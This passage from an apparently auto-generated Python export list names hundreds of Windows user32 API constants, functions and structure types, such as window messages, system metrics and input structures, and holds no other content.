'EM_GETLIMITTEXT', 'DFCS_MENUARROW', 'BF_RECT',\n 'LB_SETSEL', 'DFCS_CAPTIONMIN', 'EVENT_OBJECT_SELECTION', 'KF_MENUMODE',\n 'SPI_SETMOUSECLICKLOCKTIME', 'SPI_GETTOGGLEKEYS', 'SM_CXMAXIMIZED',\n 'GF_END', 'HCBT_CLICKSKIPPED', 'MFS_CHECKED', 'ModifyMenu', 'SSWF_TITLE',\n 'WM_CTLCOLOREDIT', 'SPI_SETDEFAULTINPUTLANG', 'WTS_SESSION_UNLOCK',\n 'PA_NOACTIVATE', 'SS_OWNERDRAW', 'WM_INPUTLANGCHANGE', 'WM_MOUSELAST',\n 'HCF_CONFIRMHOTKEY', 'CBS_OWNERDRAWFIXED', 'ALERT_SYSTEM_WARNING',\n 'MAKELPARAM', 'APPCOMMAND_MEDIA_PLAY', 'WM_POINTERUP', 'BS_PUSHBOX',\n 'DESKTOP_HOOKCONTROL', 'GCL_MENUNAME', 'SM_CYCURSOR', 'IDC_SIZENESW',\n 'CF_GDIOBJFIRST', 'PENVISUALIZATION_DOUBLETAP', 'CF_ENHMETAFILE',\n 'WM_VKEYTOITEM', 'VK_RBUTTON', 'CB_INSERTSTRING', 'WMSZ_RIGHT', 'CS_IME',\n 'STATE_SYSTEM_EXTSELECTABLE', 'SPI_GETMOUSEWHEELROUTING', 'MNC_EXECUTE',\n 'WM_NCMOUSEHOVER', 'SPI_SETACCESSTIMEOUT', 'GCLP_HMODULE', 'LB_ERR',\n 'TOUCH_FEEDBACK_DEFAULT', 'GWLP_USERDATA', 'VK_GAMEPAD_RIGHT_TRIGGER',\n 'DISP_CHANGE_RESTART', 'SM_CXFIXEDFRAME', 'SPIF_UPDATEINIFILE', 'GID_PAN',\n 'SSWF_WINDOW', 'WM_NCLBUTTONDBLCLK', 'SM_CYEDGE', 'SPI_GETICONTITLEWRAP',\n 'WM_PARENTNOTIFY', 'AW_ACTIVATE', 'SPI_SETCONTACTVISUALIZATION', 'WH_CBT',\n 'WM_SPOOLERSTATUS', 'SBS_LEFTALIGN', 'ENDSESSION_CLOSEAPP', 'KLF_RESET',\n 'EWX_LOGOFF', 'RIDEV_NOHOTKEYS', 'MF_REMOVE', 'WM_LBUTTONDBLCLK',\n 'DDL_EXCLUSIVE', 'CBS_SORT', 'LR_DEFAULTCOLOR',\n 'VK_GAMEPAD_RIGHT_THUMBSTICK_LEFT', 'SS_PATHELLIPSIS', 'DT_VCENTER',\n 'VK_NAVIGATION_RIGHT', 'SPI_SETKEYBOARDCUES', 'TPM_NOANIMATION', 'HTSIZE',\n 'COLOR_BTNFACE', 'SPI_SETMOUSEHOVERHEIGHT', 'MFT_STRING', 'KF_REPEAT',\n 'RIDEV_EXINPUTSINK', 'CBS_NOINTEGRALHEIGHT', 'OBM_OLD_UPARROW', 'SW_SHOW',\n 'APPCOMMAND_SAVE', 'PrivateExtractIcons', 'BF_BOTTOM', 'TKF_INDICATOR',\n 'CB_GETEXTENDEDUI', 'EM_GETWORDBREAKPROC', 'TOUCHEVENTF_DOWN', 'IDC_SIZE',\n 'GetClipboardFormatName', 'BF_DIAGONAL_ENDBOTTOMRIGHT', 'VK_LCONTROL',\n 'TOUCH_COORD_TO_PIXEL', 'CONTACTVISUALIZATION_ON', 'WM_NCRBUTTONDBLCLK',\n 'APPCOMMAND_MEDIA_REWIND', 'EDGE_RAISED', 'TME_CANCEL', 'BS_VCENTER',\n 'SPI_SETSCREENSAVERRUNNING', 'SOUND_SYSTEM_MENUCOMMAND', 'LB_GETTEXT',\n 'CURSOR_SUPPRESSED', 'WH_CALLWNDPROCRET', 'NID_MULTI_INPUT', 'RIM_INPUT',\n 'HCF_HOTKEYACTIVE', 'SC_MINIMIZE', 'UIS_INITIALIZE', 'DFCS_MENUCHECK',\n 'SOUND_SYSTEM_MAXIMIZE', 'ODS_FOCUS', 'CBS_SIMPLE', 'APPCOMMAND_REDO',\n 'STATE_SYSTEM_MOVEABLE', 'IMAGE_CURSOR', 'WA_ACTIVE', 'HTBOTTOMRIGHT',\n 'EVENT_OBJECT_HELPCHANGE', 'OBJID_SYSMENU', 'MONITOR_DEFAULTTOPRIMARY',\n 'EVENT_OBJECT_ACCELERATORCHANGE', 'MF_ENABLED', 'WM_CANCELJOURNAL',\n 'DT_INTERNAL', 'SKF_RSHIFTLATCHED', 'MOUSE_VIRTUAL_DESKTOP', 'SWP_NOMOVE',\n 'EVENT_CONSOLE_START_APPLICATION', 'TKF_HOTKEYACTIVE', 'BM_SETSTYLE',\n 'WTS_SESSION_LOGOFF', 'CreateDialog', 'SPI_SETMOUSEHOVERTIME', 'OBM_ZOOM',\n 'WTS_SESSION_LOGON', 'CF_DSPBITMAP', 'WS_EX_DLGMODALFRAME', 'ES_READONLY',\n 'WS_OVERLAPPED', 'WVR_ALIGNBOTTOM', 'DS_SYSMODAL', 'PA_ACTIVATE',\n 'SPI_GETACTIVEWNDTRKZORDER', 'APPCOMMAND_LAUNCH_APP1', 'DT_PATH_ELLIPSIS',\n 'APPCOMMAND_LAUNCH_APP2', 'EVENT_SYSTEM_MENUEND', 'SM_CYFIXEDFRAME',\n 'TOUCH_MASK_CONTACTAREA', 'SBM_ENABLE_ARROWS', 'SM_NETWORK', 'IDANI_OPEN',\n 'DOF_EXECUTABLE', 'SWP_NOREPOSITION', 'STN_DISABLE', 'LoadIcon', 'CB_DIR',\n 'RT_FONTDIR', 'WM_MOVE', 'CURSOR_SHOWING', 'GetWindowLongPtrW', 'SB_LEFT',\n 'SBS_SIZEBOXBOTTOMRIGHTALIGN', 'VK_DECIMAL', 'GetWindowLongPtrA',\n 'MND_CONTINUE', 'ODT_COMBOBOX', 'STATE_SYSTEM_MULTISELECTABLE', 'VK_RWIN',\n 'OBM_LFARROWD', 'VK_LMENU', 'OBM_LFARROWI', 'WDA_NONE', 'MB_ICONSTOP',\n 'METRICS_USEDEFAULT', 'EVENT_SYSTEM_MENUSTART', 'ChangeDisplaySettingsEx',\n 'SPI_GETMOUSEKEYS', 'EnumDisplaySettingsEx', 'WM_HSCROLLCLIPBOARD',\n 'HCF_HIGHCONTRASTON', 'EVENT_SYSTEM_FOREGROUND', 'WM_CHANGEUISTATE',\n 'SPI_SETACTIVEWINDOWTRACKING', 'SPI_GETMOUSEDOCKTHRESHOLD', 'AW_SLIDE',\n 'EVENT_OBJECT_VALUECHANGE', 'WM_SETHOTKEY', 'HELP_CONTEXTPOPUP', 'RAWHID',\n 'MA_NOACTIVATE', 'EN_ALIGN_LTR_EC', 'WM_SETCURSOR', 'SPI_SETSOUNDSENTRY',\n 'GCF_INCLUDE_ANCESTORS', 'DFCS_ADJUSTRECT', 'WM_SETREDRAW', 'DSS_NORMAL',\n 'RIDI_DEVICEINFO', 'DESKTOP_READOBJECTS', 'WM_MDIDESTROY', 'OBM_BTSIZE',\n 'WM_MDICASCADE', 'MNS_AUTODISMISS', 'WM_MDIREFRESHMENU', 'TPM_WORKAREA',\n 'MAXIMUM_RESERVED_MANIFEST_RESOURCE_ID', 'EVENT_CONSOLE_END', 'SS_SUNKEN',\n 'WMSZ_BOTTOMRIGHT', 'MSGFLT_ADD', 'SPI_GETMENUSHOWDELAY', 'MB_DEFBUTTON2',\n 'DFCS_BUTTONRADIOIMAGE', 'MSGFLTINFO_NONE', 'MB_DEFBUTTON3', 'BDR_OUTER',\n 'MB_DEFBUTTON1', 'WS_OVERLAPPEDWINDOW', 'DISP_CHANGE_BADMODE', 'IDC_WAIT',\n 'VK_BROWSER_REFRESH', 'TPM_VERPOSANIMATION', 'STATE_SYSTEM_INDETERMINATE',\n 'WM_VSCROLL', 'SPI_GETBEEP', 'EN_VSCROLL', 'SERKF_INDICATOR', 'QS_HOTKEY',\n 'SWP_NOSIZE', 'PBT_APMSUSPEND', 'LB_INITSTORAGE', 'TPM_RECURSE', 'PINPUT',\n 'SPI_SETPOWEROFFACTIVE', 'GESTUREVISUALIZATION_PRESSANDHOLD', 'VK_RIGHT',\n 'SPI_GETACTIVEWNDTRKTIMEOUT', 'HTSIZELAST', 'PDC_MODE_DEFAULT', 'BF_SOFT',\n 'SS_ETCHEDVERT', 'SPI_SETMENURECT', 'SWP_SHOWWINDOW', 'SM_SWAPBUTTON',\n 'SM_DEBUG', 'SM_CYSMSIZE', 'OCR_ICON', 'HWND_DESKTOP', 'IDC_SIZEALL',\n 'SKF_INDICATOR', 'RIDEV_CAPTUREMOUSE', 'EM_SETPASSWORDCHAR', 'OemToChar',\n 'CharToOem', 'GetWindowLong', 'EVENT_SYSTEM_DESKTOPSWITCH', 'WM_GETFONT',\n 'DM_SETDEFID', 'NFR_UNICODE', 'OIC_WINLOGO', 'SM_CYICONSPACING',\n 'TPM_VERNEGANIMATION', 'LB_ITEMFROMPOINT', 'SPI_SETFONTSMOOTHINGTYPE',\n 'POINTER_FLAG_FIRSTBUTTON', 'SM_CYICON', 'BN_DOUBLECLICKED', 'WM_NCPAINT',\n 'STATE_SYSTEM_MIXED', 'VK_MEDIA_PLAY_PAUSE', 'SIZE_MAXHIDE', 'LBS_NODATA',\n 'WTS_CONSOLE_DISCONNECT', 'MSGF_SCROLLBAR', 'FLASHW_TIMERNOFG', 'BF_MONO',\n 'GCLP_WNDPROC', 'IDI_SHIELD', 'WH_MINHOOK', 'CTLCOLOR_MSGBOX', 'WS_TILED',\n 'QS_MOUSEMOVE', 'VK_GAMEPAD_RIGHT_SHOULDER', 'SPI_GETSHOWSOUNDS',\n 'MFS_DISABLED', 'CreateDialogParam', 'EVENT_OBJECT_SHOW', 'MSGF_USER',\n 'MIN_LOGICALDPIOVERRIDE', 'SS_NOTIFY', 'POINTER_MESSAGE_FLAG_INRANGE',\n 'ChangeMenu', 'EVENT_OEM_DEFINED_END', 'VK_NAVIGATION_MENU', 'GCL_HICON',\n 'APPCOMMAND_MICROPHONE_VOLUME_DOWN', 'EVENT_UIA_PROPID_START', 'CharPrev',\n 'EVENT_OBJECT_PARENTCHANGE', 'LBS_USETABSTOPS', 'IMAGE_BITMAP', 'GetProp',\n 'CBN_DBLCLK', 'RI_MOUSE_BUTTON_2_UP', 'SendMessageCallback', 'LBN_DBLCLK',\n 'SM_CXHTHUMB', 'MAPVK_VK_TO_VSC_EX', 'MOUSEEVENTF_RIGHTUP', 'GR_GLOBAL',\n 'SPI_SETDRAGFULLWINDOWS', 'WS_EX_NOINHERITLAYOUT', 'WM_TOUCHHITTESTING',\n 'SS_WHITEFRAME', 'SW_FORCEMINIMIZE', 'DS_NOIDLEMSG', 'WM_DPICHANGED',\n 'DCX_CLIPSIBLINGS', 'CWP_SKIPINVISIBLE', 'WINSTA_WRITEATTRIBUTES',\n 'SM_XVIRTUALSCREEN', 'RegisterClass', 'ES_UPPERCASE', 'SM_CMETRICS',\n 'LB_MSGMAX', 'TPM_HORNEGANIMATION', 'DLGC_BUTTON', 'WM_QUERYENDSESSION',\n 'DM_POINTERHITTEST', 'WM_LBUTTONDOWN', 'DefMDIChildProc', 'SC_KEYMENU',\n 'HBMMENU_MBAR_CLOSE', 'STATE_SYSTEM_ALERT_MEDIUM', 'EVENT_AIA_START',\n 'PBT_APMQUERYSTANDBYFAILED', 'GetMenuString', 'DT_PREFIXONLY', 'FVIRTKEY',\n 'WM_MDIGETACTIVE', 'COLOR_BTNSHADOW', 'DT_NOPREFIX', 'CB_SETCURSEL',\n 'SHOW_FULLSCREEN', 'VK_DELETE', 'DFCS_BUTTONCHECK', 'EM_GETHANDLE',\n 'CS_GLOBALCLASS', 'CreateDialogIndirectParam', 'WS_POPUPWINDOW', 'IsMenu',\n 'ULW_OPAQUE', 'HTSIZEFIRST', 'LB_GETLISTBOXINFO', 'DDL_READWRITE',\n 'EVENT_SYSTEM_SWITCHER_APPOVERTARGET', 'CF_DSPMETAFILEPICT', 'WS_VISIBLE',\n 'GetWindowTask', 'SPI_SETWHEELSCROLLLINES', 'WM_POINTERENTER', 'VK_RMENU',\n 'WM_USERCHANGED', 'IsCharLower', 'WM_POINTERACTIVATE', 'LSFW_UNLOCK',\n 'ODS_DEFAULT', 'FKF_HOTKEYACTIVE', 'OBJID_CLIENT', 'ODS_HOTLIGHT',\n 'PBT_APMRESUMESTANDBY', 'MKF_MOUSEMODE', 'COLOR_3DHIGHLIGHT', 'SIF_RANGE',\n 'SW_OTHERZOOM', 'SPI_SETBLOCKSENDINPUTRESETS', 'SIZEICONIC', 'ES_RIGHT',\n 'POINTER_FLAG_DOWN', 'SM_CYHSCROLL', 'MIM_APPLYTOSUBMENUS', 'SendMessage',\n 'BSF_RETURNHDESK', 'EVENT_OBJECT_DRAGDROPPED', 'VK_BROWSER_SEARCH',\n 'ICON_SMALL2', 'SPI_SETMENUSHOWDELAY', 'CB_SETITEMDATA', 'WM_PASTE',\n 'APPCOMMAND_PASTE', 'LB_SETCOLUMNWIDTH', 'DISP_CHANGE_SUCCESSFUL',\n 'WM_ICONERASEBKGND', 'SM_RESERVED4', 'MOUSEEVENTF_MOVE_NOCOALESCE',\n 'TME_HOVER', 'CB_INITSTORAGE', 'SPI_SETLANGTOGGLE', 'LB_GETCOUNT',\n 'CDS_RESET', 'UOI_TIMERPROC_EXCEPTION_SUPPRESSION', 'CBN_ERRSPACE',\n 'ES_AUTOVSCROLL', 'SKF_RWINLATCHED', 'CWF_CREATE_ONLY', 'VK_CONTROL',\n 'STATE_SYSTEM_BUSY', 'CF_PENDATA', 'RT_GROUP_CURSOR', 'HTOBJECT',\n 'MAPVK_VSC_TO_VK_EX', 'KL_NAMELENGTH', 'POINTER_FLAG_UP', 'ICON_SMALL',\n 'SPI_SETWHEELSCROLLCHARS', 'MB_MODEMASK', 'SPI_GETMOUSEDRAGOUTTHRESHOLD',\n 'SM_SHOWSOUNDS', 'GW_OWNER', 'MF_UNHILITE', 'INPUT_KEYBOARD', 'CF_HDROP',\n 'QS_ALLPOSTMESSAGE', 'MAX_STR_BLOCKREASON', 'CB_SETEXTENDEDUI', 'WM_USER',\n 'SWP_NOZORDER', 'SM_CYMENU', 'EnumProps', 'DSS_UNION', 'EN_KILLFOCUS',\n 'WTS_SESSION_CREATE', 'ESB_DISABLE_BOTH', 'SMTO_NORMAL', 'EN_MAXTEXT',\n 'KLF_SETFORPROCESS', 'APPCOMMAND_BASS_DOWN', 'DFCS_CHECKED', 'WM_MDINEXT',\n 'EVENT_OBJECT_DRAGSTART', 'SM_CARETBLINKINGENABLED', 'ES_WANTRETURN',\n 'WS_EX_TRANSPARENT', 'SPI_GETGRADIENTCAPTIONS', 'IDTIMEOUT', 'AppendMenu',\n 'LLKHF_LOWER_IL_INJECTED', 'CB_GETLBTEXT', 'WA_INACTIVE', 'GCLP_HCURSOR',\n 'SM_MEDIACENTER', 'WS_EX_TOOLWINDOW', 'WS_MAXIMIZEBOX', 'MFS_ENABLED',\n 'SPI_GETCARETTIMEOUT', 'RI_MOUSE_RIGHT_BUTTON_DOWN', 'QS_ALLEVENTS',\n 'SPI_SETMOUSEBUTTONSWAP', 'WM_SETFOCUS', 'CBS_UPPERCASE', 'RT_GROUP_ICON',\n 'SetWindowLongPtrW', 'DFCS_FLAT', 'SSTF_CHARS', 'WH_DEBUG', 'BM_GETCHECK',\n 'SOUND_SYSTEM_RESTOREDOWN', 'SetWindowLongPtrA', 'VK_GAMEPAD_DPAD_RIGHT',\n 'TOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MAX', 'APPCOMMAND_OPEN',\n 'WM_POINTERROUTEDRELEASED', 'BDR_SUNKEN', 'ODS_NOACCEL', 'ULW_ALPHA',\n 'STATE_SYSTEM_SIZEABLE', 'IsCharUpper', 'MIIM_STATE', 'GWL_STYLE',\n 'MA_NOACTIVATEANDEAT', 'MFT_OWNERDRAW', 'BN_DISABLE', 'WH_GETMESSAGE',\n 'MKF_LEFTBUTTONDOWN', 'SPI_SETMOUSEDOCKTHRESHOLD', 'CB_ADDSTRING',\n 'HELP_TCARD', 'SBS_RIGHTALIGN', 'MKF_CONFIRMHOTKEY', 'SW_PARENTCLOSING',\n 'HOVER_DEFAULT', 'PEN_MASK_ROTATION', 'VK_OEM_ENLW', 'SBM_SETPOS',\n 'SW_SHOWMINNOACTIVE', 'MSGFLT_DISALLOW', 'OBM_CHECKBOXES', 'SC_MOVE',\n 'MB_ABORTRETRYIGNORE', 'MOUSEEVENTF_XDOWN', 'WM_QUERYNEWPALETTE',\n 'SPI_GETTOUCHPREDICTIONPARAMETERS', 'WM_DEADCHAR', 'WM_MENUGETOBJECT',\n 'CF_PALETTE', 'PRF_ERASEBKGND', 'SC_CONTEXTHELP', 'GWLP_WNDPROC',\n 'WM_EXITMENULOOP', 'WM_POWER', 'DLGC_WANTCHARS', 'WS_CHILDWINDOW',\n 'EVENT_SYSTEM_ARRANGMENTPREVIEW', 'DLGWINDOWEXTRA', 'SB_BOTTOM',\n 'DESKTOP_SWITCHDESKTOP', 'SPI_SETWAITTOKILLTIMEOUT', 'WM_IME_COMPOSITION',\n 'DO_DROPFILE', 'FAPPCOMMAND_MOUSE', 'VK_MEDIA_PREV_TRACK', 'DT_WORDBREAK',\n 'SPI_SETMESSAGEDURATION', 'SS_CENTERIMAGE', 'WM_IME_CONTROL', 'SBS_HORZ',\n 'HTTOPRIGHT', 'WH_FOREGROUNDIDLE', 'COLOR_HIGHLIGHTTEXT', 'MK_XBUTTON1',\n 'SPI_SETCARETWIDTH', 'MK_XBUTTON2', 'CDS_DISABLE_UNSAFE_MODES', 'BF_LEFT',\n 'EWX_HYBRID_SHUTDOWN', 'WS_EX_CONTROLPARENT', 'GR_GDIOBJECTS_PEAK',\n 'SS_RIGHTJUST', 'EVENT_OEM_DEFINED_START', 'SPI_SETFONTSMOOTHING',\n 'OBJID_SOUND', 'DefWindowProc', 'MKF_AVAILABLE', 'SPI_GETSELECTIONFADE',\n 'WM_WTSSESSION_CHANGE', 'EN_ALIGN_RTL_EC', 'CF_GDIOBJLAST', 'BSM_VXDS',\n 'IMAGE_ENHMETAFILE', 'SM_CYMAXIMIZED', 'MB_SYSTEMMODAL', 'OBM_COMBO',\n 'ENUM_REGISTRY_SETTINGS', 'DOF_MULTIPLE', 'INPUT_MESSAGE_ORIGIN_ID',\n 'FEEDBACK_TYPE', 'DIALOG_CONTROL_DPI_CHANGE_BEHAVIORS', 'PHANDEDNESS',\n 'DIALOG_DPI_CHANGE_BEHAVIORS', 'POINTER_DEVICE_CURSOR_TYPE', 'AR_STATE',\n 'tagPOINTER_DEVICE_TYPE', 'tagINPUT_MESSAGE_ORIGIN_ID', 'PAR_STATE',\n 'tagPOINTER_BUTTON_CHANGE_TYPE', 'tagPOINTER_INPUT_TYPE', 'HANDEDNESS',\n 'tagFEEDBACK_TYPE', 'tagPOINTER_DEVICE_CURSOR_TYPE', 'tagAR_STATE',\n 'INPUT_MESSAGE_DEVICE_TYPE', 'POINTER_BUTTON_CHANGE_TYPE', 'LPFILTERKEYS',\n 'tagINPUT_MESSAGE_DEVICE_TYPE', 'ORIENTATION_PREFERENCE', 'tagHANDEDNESS',\n 'EDIT_CONTROL_FEATURE', 'POINTER_DEVICE_TYPE', 'tagGESTUREINFO',\n 'tagMSLLHOOKSTRUCT', 'tagRID_DEVICE_INFO_HID', 'PCURSORINFO', 'EVENTMSG',\n 'tagTPMPARAMS', 'PMENUBARINFO', 'LPCBTACTIVATESTRUCT', 'tagDROPSTRUCT',\n 'NPCWPRETSTRUCT', 'DRAWITEMSTRUCT', 'HARDWAREHOOKSTRUCT', 'LPACCEL',\n 'NPWNDCLASSA', 'NPDEBUGHOOKINFO', 'tagMOUSEINPUT', 'LPMSG',\n 'TOUCH_HIT_TESTING_PROXIMITY_EVALUATION', 'NPWNDCLASSW', 'tagINPUT',\n 'PRID_DEVICE_INFO_KEYBOARD', 'tagACCESSTIMEOUT', 'RAWINPUTHEADER',\n 'tagMDICREATESTRUCTW', 'LPDEBUGHOOKINFO', 'KBDLLHOOKSTRUCT',\n 'MSLLHOOKSTRUCT', 'tagWINDOWPOS', 'WTSSESSION_NOTIFICATION', 'MENUINFO',\n 'LPCURSORINFO', 'tagMINIMIZEDMETRICS', 'PDEBUGHOOKINFO', 'HELPWININFOW',\n 'tagMOUSEHOOKSTRUCT', 'CURSORSHAPE', 'LPHARDWAREHOOKSTRUCT',\n 'tagGESTURECONFIG', 'tagRID_DEVICE_INFO', 'MDINEXTMENU', 'HELPWININFOA',\n 'LASTINPUTINFO', 'LPHELPWININFOW', 'PHELPWININFOA', 'PMSLLHOOKSTRUCT',\n 'MOUSEMOVEPOINT', 'PRID_DEVICE_INFO_HID', 'PSCROLLBARINFO', 'tagRAWMOUSE',\n 'LPHARDWAREINPUT', 'tagCLIENTCREATESTRUCT', 'PDRAWITEMSTRUCT',\n 'LPHELPWININFOA', 'PHELPWININFOW', 'LPDRAWTEXTPARAMS', 'PMOUSEINPUT',\n 'tagTITLEBARINFOEX', 'POINTER_DEVICE_PROPERTY', 'tagPOINTER_TOUCH_INFO',\n 'tagPOINTER_INFO', 'PPOINTER_TYPE_INFO', 'LPMOUSEINPUT', 'TOUCHINPUT',\n 'LPICONMETRICSW', 'LPHIGHCONTRASTA', 'RAWINPUTDEVICELIST', 'PMDINEXTMENU',\n 'LPICONMETRICSA', 'INPUT_TRANSFORM', 'tagPOINTER_DEVICE_CURSOR_INFO',\n 'LPHIGHCONTRASTW', 'LPRAWINPUTHEADER', 'AUDIODESCRIPTION', 'LPTOGGLEKEYS',\n 'tagSOUNDSENTRYA', 'tagANIMATIONINFO', 'tagSOUNDSENTRYW', 'PCWPSTRUCT',\n 'PMINIMIZEDMETRICS', 'MOUSEHOOKSTRUCTEX', 'SHELLHOOKINFO', 'FILTERKEYS',\n 'PGESTURECONFIG', 'LPMSGBOXPARAMSA', 'LPANIMATIONINFO', 'LPMSGBOXPARAMSW',\n 'tagUSAGE_PROPERTIES', 'GESTURECONFIG', 'TPMPARAMS', 'STYLESTRUCT',\n 'PLASTINPUTINFO', 'tagMDINEXTMENU', 'LPSCROLLINFO', 'tagHELPINFO',\n 'PFLASHWINFO', 'LPMOUSEMOVEPOINT', 'tagHIGHCONTRASTW', 'SERIALKEYSA',\n 'tagMOUSEKEYS', 'WINDOWPLACEMENT', 'tagTOUCHINPUT', 'NPCWPSTRUCT',\n 'SERIALKEYSW', 'PBSMINFO', 'tagHIGHCONTRASTA', 'LPRID_DEVICE_INFO',\n 'PMULTIKEYHELPW', 'ANIMATIONINFO', 'HARDWAREINPUT', 'tagMENUBARINFO',\n 'tagTOUCH_HIT_TESTING_PROXIMITY_EVALUATION', 'LPCREATESTRUCTW', 'PRAWHID',\n 'PCWPRETSTRUCT', 'PGUITHREADINFO', 'LPCREATESTRUCTA', 'LPEVENTMSGMSG',\n 'tagWNDCLASSEXW', 'tagWNDCLASSEXA', 'PCOMPAREITEMSTRUCT', 'RAWINPUT',\n 'LPWINDOWPOS', 'ACCESSTIMEOUT', 'DELETEITEMSTRUCT', 'POINTER_TOUCH_INFO',\n 'PINPUT_INJECTION_VALUE', 'tagHELPWININFOA', 'LPCURSORSHAPE',\n 'NONCLIENTMETRICSA', 'tagICONMETRICSW', 'tagWINDOWINFO', 'SOUNDSENTRYW',\n 'tagICONMETRICSA', 'NONCLIENTMETRICSW', 'PMOUSEHOOKSTRUCT', 'RAWKEYBOARD',\n 'PMOUSEHOOKSTRUCTEX', 'tagMDICREATESTRUCTA', 'PRAWKEYBOARD', 'PRAWINPUT',\n 'tagCOMPAREITEMSTRUCT', 'SOUNDSENTRYA', 'USEROBJECTFLAGS', 'STICKYKEYS',\n 'tagINPUT_INJECTION_VALUE', 'tagMENUITEMINFOA', 'tagINPUT_TRANSFORM',\n 'LPPAINTSTRUCT', 'tagRAWINPUTHEADER', 'tagDRAWTEXTPARAMS', 'TOGGLEKEYS',\n 'PUSEROBJECTFLAGS', 'PRAWINPUTDEVICELIST', 'MENUITEMINFOW', 'PWINDOWINFO',\n 'MENUITEMINFOA', 'tagNCCALCSIZE_PARAMS', 'NPEVENTMSGMSG', 'tagACCEL',\n 'PNONCLIENTMETRICSW', 'tagRID_DEVICE_INFO_MOUSE', 'PNONCLIENTMETRICSA',\n 'MENUITEMTEMPLATEHEADER', 'tagCURSORSHAPE', 'tagMENUGETOBJECTINFO',\n 'MULTIKEYHELPW', 'PMULTIKEYHELPA', 'tagMSGBOXPARAMSA', 'tagMONITORINFO',\n 'PCOMBOBOXINFO', 'tagMSGBOXPARAMSW', 'PEVENTMSGMSG', 'tagSTICKYKEYS',\n 'DEBUGHOOKINFO', 'PTITLEBARINFO', 'tagTouchPredictionParameters',\n 'tagHELPWININFOW', 'INPUT_INJECTION_VALUE', 'tagGUITHREADINFO', 'BSMINFO',\n 'PPOWERBROADCAST_SETTING', 'SCROLLBARINFO', 'NPWNDCLASSEXW',\n 'tagPOINTER_TYPE_INFO', 'LPRAWMOUSE', 'PWTSSESSION_NOTIFICATION',\n 'COPYDATASTRUCT', 'NPWNDCLASSEXA', 'CLIENTCREATESTRUCT', 'RAWMOUSE',\n 'tagCURSORINFO', 'tagMENUINFO', 'tagKEYBDINPUT', 'USAGE_PROPERTIES',\n 'PHARDWAREINPUT', 'PGESTURENOTIFYSTRUCT', 'LPCWPRETSTRUCT', 'DLGPROC',\n 'MENUBARINFO', 'LPMENUBARINFO', 'LPMOUSEKEYS', 'LPRAWINPUT', 'FLASHWINFO',\n 'PTOUCH_HIT_TESTING_PROXIMITY_EVALUATION', 'tagSTYLESTRUCT', 'MOUSEINPUT',\n 'PDELETEITEMSTRUCT', 'LPMONITORINFO', 'LPSCROLLBARINFO', 'MOUSEKEYS',\n 'MONITORINFOEXW', 'RID_DEVICE_INFO_MOUSE', 'PMSGBOXPARAMSW', 'LPEVENTMSG',\n 'LPSERIALKEYSA', 'LPTRACKMOUSEEVENT', 'PMSGBOXPARAMSA', 'MONITORINFOEXA',\n 'tagCBTACTIVATESTRUCT', 'MDICREATESTRUCTW', 'tagRAWINPUT', 'PAINTSTRUCT',\n 'tagWTSSESSION_NOTIFICATION', 'LPRAWINPUTDEVICE', 'GESTUREINFO',\n 'LPACCESSTIMEOUT', 'TRACKMOUSEEVENT', 'PMOUSEMOVEPOINT', 'LPWINDOWINFO',\n 'tagDRAWITEMSTRUCT', 'LPGUITHREADINFO', 'tagMOUSEHOOKSTRUCTEX',\n 'tagKBDLLHOOKSTRUCT', 'PALTTABINFO', 'LPHELPINFO', 'MENUITEMTEMPLATE',\n 'MSGBOXPARAMSA', 'tagCOPYDATASTRUCT', 'MSGBOXPARAMSW', 'tagFILTERKEYS',\n '_ICONINFOEXW', 'tagALTTABINFO', 'DLGITEMTEMPLATE', '_ICONINFOEXA',\n 'NPPAINTSTRUCT', 'LPCOMBOBOXINFO', 'LPMINIMIZEDMETRICS', 'DRAWTEXTPARAMS',\n 'PRID_DEVICE_INFO', 'PTOUCHINPUT', 'LPKBDLLHOOKSTRUCT', 'PKEYBDINPUT',\n 'RID_DEVICE_INFO_KEYBOARD', 'LPMULTIKEYHELPW', 'tagCWPSTRUCT', 'HELPINFO',\n 'tagUPDATELAYEREDWINDOWINFO', 'PTOUCHPREDICTIONPARAMETERS', 'tagRAWHID',\n 'LPMULTIKEYHELPA', 'GESTURENOTIFYSTRUCT', 'LPMENUITEMINFOA',\n 'MENUGETOBJECTINFO', 'tagMEASUREITEMSTRUCT', 'PHARDWAREHOOKSTRUCT',\n 'LPCLIENTCREATESTRUCT', 'PTITLEBARINFOEX', 'PRAWINPUTDEVICE', 'tagNMHDR',\n 'LPMENUINFO', 'PGESTUREINFO', 'tagRAWINPUTDEVICELIST', 'PDROPSTRUCT',\n 'POINTER_DEVICE_INFO', 'LPMEASUREITEMSTRUCT', 'PCHANGEFILTERSTRUCT',\n 'UPDATELAYEREDWINDOWINFO', 'COMBOBOXINFO', 'POINTER_PEN_INFO', 'LPRAWHID',\n 'PMENUITEMTEMPLATEHEADER', 'LPSTICKYKEYS', 'tagSCROLLBARINFO', 'ICONINFO',\n 'LPKEYBDINPUT', 'LPMOUSEHOOKSTRUCT', 'HIGHCONTRASTA', 'WNDCLASSW',\n 'tagCWPRETSTRUCT', 'tagCHANGEFILTERSTRUCT', 'MEASUREITEMSTRUCT',\n 'tagTOUCH_HIT_TESTING_INPUT', 'PUSAGE_PROPERTIES', 'PRAWINPUTHEADER',\n 'WNDCLASSA', 'tagMOUSEMOVEPOINT', 'LPMDICREATESTRUCTA', 'MINMAXINFO',\n 'POINTER_TYPE_INFO', 'LPAUDIODESCRIPTION', 'LPMDICREATESTRUCTW',\n 'tagCBT_CREATEWNDA', 'tagSERIALKEYSW', 'PMENUGETOBJECTINFO', 'KEYBDINPUT',\n 'tagRID_DEVICE_INFO_KEYBOARD', 'tagCBT_CREATEWNDW', 'tagAUDIODESCRIPTION',\n 'tagSERIALKEYSA', 'tagHARDWAREINPUT', 'LPMSLLHOOKSTRUCT', 'WINDOWPOS',\n 'PICONINFOEXW', 'LPDRAWITEMSTRUCT', 'PICONINFOEXA', 'LPDROPSTRUCT',\n 'LPDELETEITEMSTRUCT', 'tagPAINTSTRUCT', 'CHANGEFILTERSTRUCT',\n 'tagEVENTMSG', 'MINIMIZEDMETRICS', 'ICONINFOEXA', 'LPNCCALCSIZE_PARAMS',\n 'DLGTEMPLATE', 'tagHARDWAREHOOKSTRUCT', 'ICONINFOEXW', 'CWPSTRUCT',\n 'POWERBROADCAST_SETTING', 'CURSORINFO', 'tagPOINTER_DEVICE_PROPERTY',\n 'PICONMETRICSW', 'tagNONCLIENTMETRICSW', 'LPMENUITEMINFOW',\n 'CBTACTIVATESTRUCT', 'PMENUITEMTEMPLATE', 'tagNONCLIENTMETRICSA',\n 'PICONMETRICSA', 